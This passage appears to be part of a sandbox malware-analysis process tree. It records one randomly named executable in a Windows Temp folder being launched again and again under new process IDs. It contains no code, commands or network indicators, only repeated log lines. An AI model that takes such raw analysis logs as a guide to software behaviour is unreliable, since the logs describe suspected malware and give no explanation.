        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7908
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7916
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7924
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7932
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7940
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7948
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7956
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7964
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7972
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7980
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7988
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:7996
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8004
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8012
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8020
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8028
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8036
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8044
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8052
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8060
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8068
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8076
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8084
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8092
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8100
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8108
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8116
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8124
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8132
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8140
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8148
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8156
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8164
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8172
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8180
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8188
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:728
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3588
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8200
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8208
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8216
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8228
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8264
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8272
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8280
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8288
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8296
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8304
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8312
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8320
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8328
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8336
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8344
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8352
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8360
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8368
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8376
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8384
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8392
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8400
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8408
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8416
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8424
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8432
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8440
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8448
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8456
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8464
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8472
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8480
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8488
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8500
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8516
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8524
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8540
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8556
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8568
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8576
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8588
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8600
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8608
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8616
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8624
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8632
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8640
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8652
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8660
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8668
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8676
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8684
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8692
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8700
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8708
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8716
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8732
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8744
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8752
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8764
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8772
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8784
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8792
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8804
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8816
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8824
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8832
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8840
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8848
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8856
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8864
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8872
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8880
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8888
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8896
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8904
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8912
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8920
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8928
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8936
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8952
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8960
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8968
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8976
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8984
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8992
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9000
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9008
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9016
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9024
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9032
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9040
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9048
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9056
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9064
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9072
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9080
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9088
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9096
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9104
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9112
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9120
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9128
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9136
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9144
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9152
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9160
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9168
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9180
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9188
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9196
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9204
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:9212
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8236
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8244
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8256
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8248
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:8508
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
